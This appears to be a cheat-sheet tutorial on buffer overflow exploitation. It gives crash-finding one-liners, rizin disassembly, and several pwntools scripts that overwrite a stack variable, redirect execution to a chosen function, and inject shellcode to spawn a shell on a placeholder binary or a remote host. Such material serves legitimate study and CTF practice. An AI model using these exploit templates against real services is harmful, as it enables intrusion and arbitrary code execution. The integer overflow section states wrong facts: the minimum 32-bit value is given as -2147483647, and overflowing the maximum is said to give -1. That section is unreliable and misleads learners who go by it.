Binary Exploitation with Buffer Overflow
Last modified: 2023-08-14
Buffer overflow occurs when a program attempts to write more data to a buffer, or temporary data storage area, than it can hold. This can result in overwriting adjacent memory locations, potentially causing the program to crash or even allowing an attacker to execute arbitrary code on the target system. In the context of binary exploitation, this attack can be used to gain control of the program flow and redirect it to run attacker-controlled code, known as shellcode.
Investigation
Functions Lead to Buffer Overflow
If the binary uses the following functions, Buffer Overflow may occurs.
gets()
fgets()
scanf()
sprintf()
strcpy()
strcat()
Basic Buffer Overflow
Try to find what values lead to segmentation fault.
python3 -c 'print("A"*30)' | ./example
python3 -c 'print("A"*40)' | ./example
python3 -c 'print("A"*50)' | ./example
...
Exploitation
Abuse input/output by typing a lot of characters more than the program expects..
./example
Type something:
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Exploitation using Pwntools
#!/usr/bin/python3
from pwn import *
ip = '10.0.0.1'
port = 1337
r = remote(ip, port)
# r = process("./example")
# Payload
offset = 30
payload = b'A' * offset
# Send payload
r.sendline(payload)
# Print the output
print(r.recvall().decode())
# Post process
r.interactive()
Overriding Variables
The program executes input/output by gets() or scanf(), and limit the buffer size of the variable, we can modify the variable then lead to unexpected behavior.
For instance, assume the program is as follow.
rizin -d ./example
[0x0000]> aaa
# Disassemble the function
[0x0000]> pdf @ main
# An example result
sub rsp, 0x70
call sym.imp.__isoc99_scanf ; int scanf(const char *format)
cmp dword [rbp-0x4], 0xdeadbeef
jne 0x5569e8600992
lea rdi, str.bin_sh ; "/bin/sh"
ret
First find the distance from the stack pointer to rbp-0x4 (0x04).
python3
>>> int(0x70-0x4)
108
Exploitation using Pwntools
from pwn import *
context.update(arch="amd64", os="linux")
payload = b"A" * 108
payload += p32(0xdeadbeef)
p = process('./example') # p = remote('example.com', '1337') for remote connection
p.sendline(payload)
p.interactive()
Overriding the Next Call
If the program uses get() or scanf(), we can specify the address of the desired calls by overwriting the address.
Assume the program has the above two functions.
0x0040158c main
0x00401194 vuln_fn
For instance, if we want to call the “vuln_fn” function, override the address of the next call using buffer overflow.
Exploitation 1
from pwn import *
context.update(arch="amd64", os="linux")
elf = context.binary = ELF("./example")
payload = b"A" * 32
# Give the address of the desired function.
payload += p64(elf.sym["vuln_fn"])
# or if PIE is disabled, we can set the address directly.
# payload += p64(0x00401194)
p = process('./example') # p = remote('example.com', '1337') for remote connection.
p.sendline(payload)
p.interactive()
Exploitation 2
from pwn import *
exe = ELF("./example")
r = process(exe.path)
# r = remote("10.0.0.1", "1337")
base_addr = 0x123456
payload = b'A'*0x30 + p64(exe.bss()) + p64(base_addr)
r.sendline(payload)
r.interactive()
Shellcode
We can create the crafted shell code and override the address to execute the shell code.
Use Pwntools to create the shell code.
from pwn import *
context.update(arch="amd64", os="linux")
payload = b"A" * 50 + b"B" * 8
payload += asm(shellcraft.sh())
p = process('./example') # p = remote('example.com', '1337') for remote connection
p.sendline(payload)
p.interactive()
Integer Overflow
If the program processes integer values with input/output, we can abuse it by overflow of integer.
The range of 32-bit integer is -2147483647 to 2147483647, so if we type the max value +1 in input for instance, the result is -1. This is because
./example
Type number:
>> 2147483648
The number you entered is -1.